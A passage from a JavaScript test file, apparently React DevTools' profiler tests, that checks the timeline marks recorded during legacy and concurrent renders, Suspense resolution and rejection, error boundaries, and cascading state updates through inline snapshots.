(<anonymous>:1:1)\",\n            \"--schedule-render-1\",\n            \"--render-start-1\",\n            \"--render-stop\",\n            \"--commit-start-1\",\n            \"--react-version-<filtered-version>\",\n            \"--profiler-version-1\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-lane-labels-Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen\",\n            \"--layout-effects-start-1\",\n            \"--layout-effects-stop\",\n            \"--commit-stop\",\n          ]\n        `);\n      });\n\n      // TODO(hoxyq): investigate why running this test with React 18 fails\n      // @reactVersion <= 18.2\n      // @reactVersion >= 18.0\n      // eslint-disable-next-line jest/no-disabled-tests\n      it.skip('should mark sync render with suspense that resolves', async () => {\n        const fakeSuspensePromise = Promise.resolve(true);\n        function Example() {\n          throw fakeSuspensePromise;\n        }\n\n        legacyRender(\n          <React.Suspense fallback={null}>\n            <Example />\n          </React.Suspense>,\n        );\n\n        expect(registeredMarks).toMatchInlineSnapshot(`\n                  [\n                    \"--schedule-render-2\",\n                    \"--render-start-2\",\n                    \"--component-render-start-Example\",\n                    \"--component-render-stop\",\n                    \"--suspense-suspend-0-Example-mount-2-\",\n                    \"--render-stop\",\n                    \"--commit-start-2\",\n                    \"--react-version-<filtered-version>\",\n                    \"--profiler-version-1\",\n                    \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n                    \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n                    \"--react-lane-labels-SyncHydrationLane,Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen,Deferred\",\n                    \"--layout-effects-start-2\",\n                    \"--layout-effects-stop\",\n                    \"--commit-stop\",\n                  ]\n              `);\n\n        eraseRegisteredMarks();\n\n        await fakeSuspensePromise;\n        expect(registeredMarks).toMatchInlineSnapshot(`\n                [\n                  \"--suspense-resolved-0-Example\",\n                ]\n          `);\n      });\n\n      // TODO(hoxyq): investigate why running this test with React 18 fails\n      // @reactVersion <= 18.2\n      // @reactVersion >= 18.0\n      // eslint-disable-next-line jest/no-disabled-tests\n      it.skip('should mark sync render with suspense that rejects', async () => {\n        const fakeSuspensePromise = Promise.reject(new Error('error'));\n        function Example() {\n          throw fakeSuspensePromise;\n        }\n\n        legacyRender(\n          <React.Suspense fallback={null}>\n            <Example />\n          </React.Suspense>,\n        );\n\n        expect(registeredMarks).toMatchInlineSnapshot(`\n                  [\n                    \"--schedule-render-2\",\n                    \"--render-start-2\",\n                    \"--component-render-start-Example\",\n                    \"--component-render-stop\",\n                    \"--suspense-suspend-0-Example-mount-2-\",\n                    \"--render-stop\",\n                    \"--commit-start-2\",\n                    \"--react-version-<filtered-version>\",\n                    \"--profiler-version-1\",\n                    \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n                    \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n                    \"--react-lane-labels-SyncHydrationLane,Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen,Deferred\",\n                    \"--layout-effects-start-2\",\n                    \"--layout-effects-stop\",\n                    \"--commit-stop\",\n                  ]\n              `);\n\n        eraseRegisteredMarks();\n\n        await expect(fakeSuspensePromise).rejects.toThrow();\n        expect(registeredMarks).toContain(`--suspense-rejected-0-Example`);\n      });\n\n      // @reactVersion <= 18.2\n      // @reactVersion >= 18.0\n      it('should mark sync render that throws', async () => {\n        jest.spyOn(console, 'error').mockImplementation(() => {});\n\n        class ErrorBoundary extends React.Component {\n          state = {error: null};\n          componentDidCatch(error) {\n            this.setState({error});\n          }\n          render() {\n            if (this.state.error) {\n              return null;\n            }\n            return this.props.children;\n          }\n        }\n\n        function ExampleThatThrows() {\n          throw Error('Expected error');\n        }\n\n        utils.act(() => store.profilerStore.startProfiling());\n        legacyRender(\n          <ErrorBoundary>\n            <ExampleThatThrows />\n          </ErrorBoundary>,\n        );\n        utils.act(() => store.profilerStore.stopProfiling());\n\n        expect(registeredMarks).toMatchInlineSnapshot(`\n          [\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--schedule-render-1\",\n            \"--render-start-1\",\n            \"--component-render-start-ErrorBoundary\",\n            \"--component-render-stop\",\n            \"--component-render-start-ExampleThatThrows\",\n            \"--component-render-start-ExampleThatThrows\",\n            \"--component-render-stop\",\n            \"--error-ExampleThatThrows-mount-Expected error\",\n            \"--render-stop\",\n            \"--commit-start-1\",\n            \"--react-version-<filtered-version>\",\n            \"--profiler-version-1\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-lane-labels-Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen\",\n            \"--layout-effects-start-1\",\n            \"--schedule-state-update-1-ErrorBoundary\",\n            \"--layout-effects-stop\",\n            \"--commit-stop\",\n            \"--render-start-1\",\n            \"--component-render-start-ErrorBoundary\",\n            \"--component-render-stop\",\n            \"--render-stop\",\n            \"--commit-start-1\",\n            \"--react-version-<filtered-version>\",\n            \"--profiler-version-1\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-lane-labels-Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen\",\n            \"--commit-stop\",\n          ]\n        `);\n      });\n    });\n\n    describe('with createRoot', () => {\n      let waitFor;\n      let waitForAll;\n      let waitForPaint;\n      let assertLog;\n\n      beforeEach(() => {\n        const InternalTestUtils = require('internal-test-utils');\n        waitFor = InternalTestUtils.waitFor;\n        waitForAll = InternalTestUtils.waitForAll;\n        waitForPaint = InternalTestUtils.waitForPaint;\n        assertLog = InternalTestUtils.assertLog;\n      });\n\n      const {render: modernRender} = getModernRenderImplementation();\n\n      it('should mark concurrent render without suspends or state updates', async () => {\n        modernRender(<div />);\n\n        expect(registeredMarks).toMatchInlineSnapshot(`\n                  [\n                    \"--schedule-render-32\",\n                  ]\n              `);\n\n        eraseRegisteredMarks();\n\n        await waitForPaint([]);\n\n        expect(registeredMarks).toMatchInlineSnapshot(`\n          [\n            \"--render-start-32\",\n            \"--render-stop\",\n            \"--commit-start-32\",\n            \"--react-version-<filtered-version>\",\n            \"--profiler-version-1\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-lane-labels-SyncHydrationLane,Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen,Deferred\",\n            \"--layout-effects-start-32\",\n            \"--layout-effects-stop\",\n            \"--commit-stop\",\n          ]\n        `);\n      });\n\n      it('should mark render yields', async () => {\n        function Bar() {\n          Scheduler.log('Bar');\n          return null;\n        }\n\n        function Foo() {\n          Scheduler.log('Foo');\n          return <Bar />;\n        }\n\n        React.startTransition(() => {\n          modernRender(<Foo />);\n        });\n\n        await waitFor(['Foo']);\n\n        expect(registeredMarks).toMatchInlineSnapshot(`\n                  [\n                    \"--schedule-render-128\",\n                    \"--render-start-128\",\n                    \"--component-render-start-Foo\",\n                    \"--component-render-stop\",\n                    \"--render-yield\",\n                  ]\n              `);\n      });\n\n      it('should mark concurrent render with suspense that resolves', async () => {\n        let resolveFakePromise;\n        const fakeSuspensePromise = new Promise(\n          resolve => (resolveFakePromise = resolve),\n        );\n\n        function Example() {\n          throw fakeSuspensePromise;\n        }\n\n        modernRender(\n          <React.Suspense fallback={null}>\n            <Example />\n          </React.Suspense>,\n        );\n\n        expect(registeredMarks).toMatchInlineSnapshot(`\n                  [\n                    \"--schedule-render-32\",\n                  ]\n              `);\n\n        eraseRegisteredMarks();\n\n        await waitForPaint([]);\n\n        expect(registeredMarks).toMatchInlineSnapshot(`\n          [\n            \"--render-start-32\",\n            \"--component-render-start-Example\",\n            \"--component-render-stop\",\n            \"--suspense-suspend-0-Example-mount-32-\",\n            \"--render-stop\",\n            \"--commit-start-32\",\n            \"--react-version-<filtered-version>\",\n            \"--profiler-version-1\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-lane-labels-SyncHydrationLane,Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen,Deferred\",\n            \"--layout-effects-start-32\",\n            \"--layout-effects-stop\",\n            \"--commit-stop\",\n          ]\n        `);\n\n        eraseRegisteredMarks();\n\n        await resolveFakePromise();\n        expect(registeredMarks).toMatchInlineSnapshot(`\n            [\n              \"--suspense-resolved-0-Example\",\n            ]\n        `);\n      });\n\n      it('should mark concurrent render with suspense that rejects', async () => {\n        let rejectFakePromise;\n        const fakeSuspensePromise = new Promise(\n          (_, reject) => (rejectFakePromise = reject),\n        );\n\n        function Example() {\n          throw fakeSuspensePromise;\n        }\n\n        modernRender(\n          <React.Suspense fallback={null}>\n            <Example />\n          </React.Suspense>,\n        );\n\n        expect(registeredMarks).toMatchInlineSnapshot(`\n                  [\n                    \"--schedule-render-32\",\n                  ]\n              `);\n\n        eraseRegisteredMarks();\n\n        await waitForPaint([]);\n\n        expect(registeredMarks).toMatchInlineSnapshot(`\n          [\n            \"--render-start-32\",\n            \"--component-render-start-Example\",\n            \"--component-render-stop\",\n            \"--suspense-suspend-0-Example-mount-32-\",\n            \"--render-stop\",\n            \"--commit-start-32\",\n            \"--react-version-<filtered-version>\",\n            \"--profiler-version-1\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-lane-labels-SyncHydrationLane,Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen,Deferred\",\n            \"--layout-effects-start-32\",\n            \"--layout-effects-stop\",\n            \"--commit-stop\",\n          ]\n        `);\n\n        eraseRegisteredMarks();\n\n        await expect(() => {\n          rejectFakePromise(new Error('error'));\n          return fakeSuspensePromise;\n        }).rejects.toThrow();\n        expect(registeredMarks).toMatchInlineSnapshot(`\n                [\n                  \"--suspense-rejected-0-Example\",\n                ]\n          `);\n      });\n\n      it('should mark cascading class component state updates', async () => {\n        class Example extends React.Component {\n          state = {didMount: false};\n          componentDidMount() {\n            this.setState({didMount: true});\n          }\n          render() {\n            return null;\n          }\n        }\n\n        modernRender(<Example />);\n\n        expect(registeredMarks).toMatchInlineSnapshot(`\n                  [\n                    \"--schedule-render-32\",\n                  ]\n              `);\n\n        eraseRegisteredMarks();\n\n        await waitForPaint([]);\n\n        expect(registeredMarks).toMatchInlineSnapshot(`\n          [\n            \"--render-start-32\",\n            \"--component-render-start-Example\",\n            \"--component-render-stop\",\n            \"--render-stop\",\n            \"--commit-start-32\",\n            \"--react-version-<filtered-version>\",\n            \"--profiler-version-1\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-lane-labels-SyncHydrationLane,Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen,Deferred\",\n            \"--layout-effects-start-32\",\n            \"--schedule-state-update-2-Example\",\n            \"--layout-effects-stop\",\n            \"--render-start-2\",\n            \"--component-render-start-Example\",\n            \"--component-render-stop\",\n            \"--render-stop\",\n            \"--commit-start-2\",\n            \"--react-version-<filtered-version>\",\n            \"--profiler-version-1\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-lane-labels-SyncHydrationLane,Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen,Deferred\",\n            \"--commit-stop\",\n            \"--commit-stop\",\n          ]\n        `);\n      });\n\n      it('should mark cascading class component force updates', async () => {\n        class Example extends React.Component {\n          componentDidMount() {\n            this.forceUpdate();\n          }\n          render() {\n            return null;\n          }\n        }\n\n        modernRender(<Example />);\n\n        expect(registeredMarks).toMatchInlineSnapshot(`\n                  [\n                    \"--schedule-render-32\",\n                  ]\n              `);\n\n        eraseRegisteredMarks();\n\n        await waitForPaint([]);\n\n        expect(registeredMarks).toMatchInlineSnapshot(`\n          [\n            \"--render-start-32\",\n            \"--component-render-start-Example\",\n            \"--component-render-stop\",\n            \"--render-stop\",\n            \"--commit-start-32\",\n            \"--react-version-<filtered-version>\",\n            \"--profiler-version-1\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-lane-labels-SyncHydrationLane,Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen,Deferred\",\n            \"--layout-effects-start-32\",\n            \"--schedule-forced-update-2-Example\",\n            \"--layout-effects-stop\",\n            \"--render-start-2\",\n            \"--component-render-start-Example\",\n            \"--component-render-stop\",\n            \"--render-stop\",\n            \"--commit-start-2\",\n            \"--react-version-<filtered-version>\",\n            \"--profiler-version-1\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-lane-labels-SyncHydrationLane,Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen,Deferred\",\n            \"--commit-stop\",\n            \"--commit-stop\",\n          ]\n        `);\n      });\n\n      it('should mark render phase state updates for class component', async () => {\n        class Example extends React.Component {\n          state = {didRender: false};\n          render() {\n            if (this.state.didRender === false) {\n              this.setState({didRender: true});\n            }\n            return null;\n          }\n        }\n\n        modernRender(<Example />);\n\n        expect(registeredMarks).toMatchInlineSnapshot(`\n                  [\n                    \"--schedule-render-32\",\n                  ]\n              `);\n\n        eraseRegisteredMarks();\n\n        let errorMessage;\n        jest.spyOn(console, 'error').mockImplementation(message => {\n          errorMessage = message;\n        });\n\n        await waitForPaint([]);\n\n        expect(console.error).toHaveBeenCalledTimes(1);\n        expect(errorMessage).toContain(\n          'Cannot update during an existing state transition',\n        );\n\n        expect(registeredMarks).toMatchInlineSnapshot(`\n          [\n            \"--render-start-32\",\n            \"--component-render-start-Example\",\n            \"--schedule-state-update-32-Example\",\n            \"--component-render-stop\",\n            \"--render-stop\",\n            \"--commit-start-32\",\n            \"--react-version-<filtered-version>\",\n            \"--profiler-version-1\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-lane-labels-SyncHydrationLane,Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen,Deferred\",\n            \"--layout-effects-start-32\",\n            \"--layout-effects-stop\",\n            \"--commit-stop\",\n          ]\n        `);\n      });\n\n      it('should mark render phase force updates for class component', async () => {\n        let forced = false;\n        class Example extends React.Component {\n          render() {\n            if (!forced) {\n              forced = true;\n              this.forceUpdate();\n            }\n            return null;\n          }\n        }\n\n        modernRender(<Example />);\n\n        expect(registeredMarks).toMatchInlineSnapshot(`\n                  [\n                    \"--schedule-render-32\",\n                  ]\n              `);\n\n        eraseRegisteredMarks();\n\n        let errorMessage;\n        jest.spyOn(console, 'error').mockImplementation(message => {\n          errorMessage = message;\n        });\n\n        await waitForPaint([]);\n\n        expect(console.error).toHaveBeenCalledTimes(1);\n        expect(errorMessage).toContain(\n          'Cannot update during an existing state transition',\n        );\n\n        expect(registeredMarks).toMatchInlineSnapshot(`\n          [\n            \"--render-start-32\",\n            \"--component-render-start-Example\",\n            \"--schedule-forced-update-32-Example\",\n            \"--component-render-stop\",\n            \"--render-stop\",\n            \"--commit-start-32\",\n            \"--react-version-<filtered-version>\",\n            \"--profiler-version-1\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-lane-labels-SyncHydrationLane,Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen,Deferred\",\n            \"--layout-effects-start-32\",\n            \"--layout-effects-stop\",\n            \"--commit-stop\",\n          ]\n        `);\n      });\n\n      it('should mark cascading layout updates', async () => {\n        function Example() {\n          const [didMount, setDidMount] = React.useState(false);\n          React.useLayoutEffect(() => {\n            setDidMount(true);\n          }, []);\n          return didMount;\n        }\n\n        modernRender(<Example />);\n\n        expect(registeredMarks).toMatchInlineSnapshot(`\n                  [\n                    \"--schedule-render-32\",\n                  ]\n              `);\n\n        eraseRegisteredMarks();\n\n        await waitForPaint([]);\n\n        expect(registeredMarks).toMatchInlineSnapshot(`\n          [\n            \"--render-start-32\",\n            \"--component-render-start-Example\",\n            \"--component-render-stop\",\n            \"--render-stop\",\n            \"--commit-start-32\",\n            \"--react-version-<filtered-version>\",\n            \"--profiler-version-1\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-lane-labels-SyncHydrationLane,Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen,Deferred\",\n            \"--layout-effects-start-32\",\n            \"--component-layout-effect-mount-start-Example\",\n            \"--schedule-state-update-2-Example\",\n            \"--component-layout-effect-mount-stop\",\n            \"--layout-effects-stop\",\n            \"--render-start-2\",\n            \"--component-render-start-Example\",\n            \"--component-render-stop\",\n            \"--render-stop\",\n            \"--commit-start-2\",\n            \"--react-version-<filtered-version>\",\n            \"--profiler-version-1\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-lane-labels-SyncHydrationLane,Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen,Deferred\",\n            \"--commit-stop\",\n            \"--commit-stop\",\n          ]\n        `);\n      });\n\n      it('should mark cascading passive updates', async () => {\n        function Example() {\n          const [didMount, setDidMount] = React.useState(false);\n          React.useEffect(() => {\n            setDidMount(true);\n          }, []);\n          return didMount;\n        }\n\n        modernRender(<Example />);\n\n        await waitForAll([]);\n\n        expect(registeredMarks).toMatchInlineSnapshot(`\n          [\n            \"--schedule-render-32\",\n            \"--render-start-32\",\n            \"--component-render-start-Example\",\n            \"--component-render-stop\",\n            \"--render-stop\",\n            \"--commit-start-32\",\n            \"--react-version-<filtered-version>\",\n            \"--profiler-version-1\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-lane-labels-SyncHydrationLane,Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen,Deferred\",\n            \"--layout-effects-start-32\",\n            \"--layout-effects-stop\",\n            \"--commit-stop\",\n            \"--passive-effects-start-32\",\n            \"--component-passive-effect-mount-start-Example\",\n            \"--schedule-state-update-32-Example\",\n            \"--component-passive-effect-mount-stop\",\n            \"--passive-effects-stop\",\n            \"--render-start-32\",\n            \"--component-render-start-Example\",\n            \"--component-render-stop\",\n            \"--render-stop\",\n            \"--commit-start-32\",\n            \"--react-version-<filtered-version>\",\n            \"--profiler-version-1\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-lane-labels-SyncHydrationLane,Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen,Deferred\",\n            \"--commit-stop\",\n          ]\n        `);\n      });\n\n      it('should mark render phase updates', async () => {\n        function Example() {\n          const [didRender, setDidRender] = React.useState(false);\n          if (!didRender) {\n            setDidRender(true);\n          }\n          return didRender;\n        }\n\n        modernRender(<Example />);\n\n        await waitForAll([]);\n\n        expect(registeredMarks).toMatchInlineSnapshot(`\n          [\n            \"--schedule-render-32\",\n            \"--render-start-32\",\n            \"--component-render-start-Example\",\n            \"--schedule-state-update-32-Example\",\n            \"--component-render-stop\",\n            \"--render-stop\",\n            \"--commit-start-32\",\n            \"--react-version-<filtered-version>\",\n            \"--profiler-version-1\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-lane-labels-SyncHydrationLane,Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen,Deferred\",\n            \"--layout-effects-start-32\",\n            \"--layout-effects-stop\",\n            \"--commit-stop\",\n          ]\n        `);\n      });\n\n      it('should mark concurrent render that throws', async () => {\n        jest.spyOn(console, 'error').mockImplementation(() => {});\n\n        class ErrorBoundary extends React.Component {\n          state = {error: null};\n          componentDidCatch(error) {\n            this.setState({error});\n          }\n          render() {\n            if (this.state.error) {\n              return null;\n            }\n            return this.props.children;\n          }\n        }\n\n        function ExampleThatThrows() {\n          // eslint-disable-next-line no-throw-literal\n          throw 'Expected error';\n        }\n\n        modernRender(\n          <ErrorBoundary>\n            <ExampleThatThrows />\n          </ErrorBoundary>,\n        );\n\n        expect(registeredMarks).toMatchInlineSnapshot(`\n                  [\n                    \"--schedule-render-32\",\n                  ]\n              `);\n\n        eraseRegisteredMarks();\n\n        await waitForPaint([]);\n\n        expect(registeredMarks).toMatchInlineSnapshot(`\n          [\n            \"--render-start-32\",\n            \"--component-render-start-ErrorBoundary\",\n            \"--component-render-stop\",\n            \"--component-render-start-ExampleThatThrows\",\n            \"--component-render-stop\",\n            \"--error-ExampleThatThrows-mount-Expected error\",\n            \"--render-stop\",\n            \"--render-start-32\",\n            \"--component-render-start-ErrorBoundary\",\n            \"--component-render-stop\",\n            \"--component-render-start-ExampleThatThrows\",\n            \"--component-render-stop\",\n            \"--error-ExampleThatThrows-mount-Expected error\",\n            \"--render-stop\",\n            \"--commit-start-32\",\n            \"--react-version-<filtered-version>\",\n            \"--profiler-version-1\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-lane-labels-SyncHydrationLane,Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen,Deferred\",\n            \"--layout-effects-start-32\",\n            \"--schedule-state-update-2-ErrorBoundary\",\n            \"--layout-effects-stop\",\n            \"--render-start-2\",\n            \"--component-render-start-ErrorBoundary\",\n            \"--component-render-stop\",\n            \"--render-stop\",\n            \"--commit-start-2\",\n            \"--react-version-<filtered-version>\",\n            \"--profiler-version-1\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-lane-labels-SyncHydrationLane,Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen,Deferred\",\n            \"--commit-stop\",\n            \"--commit-stop\",\n          ]\n        `);\n      });\n\n      it('should mark passive and layout effects', async () => {\n        function ComponentWithEffects() {\n          React.useLayoutEffect(() => {\n            Scheduler.log('layout 1 mount');\n            return () => {\n              Scheduler.log('layout 1 unmount');\n            };\n          }, []);\n\n          React.useEffect(() => {\n            Scheduler.log('passive 1 mount');\n            return () => {\n              Scheduler.log('passive 1 unmount');\n            };\n          }, []);\n\n          React.useLayoutEffect(() => {\n            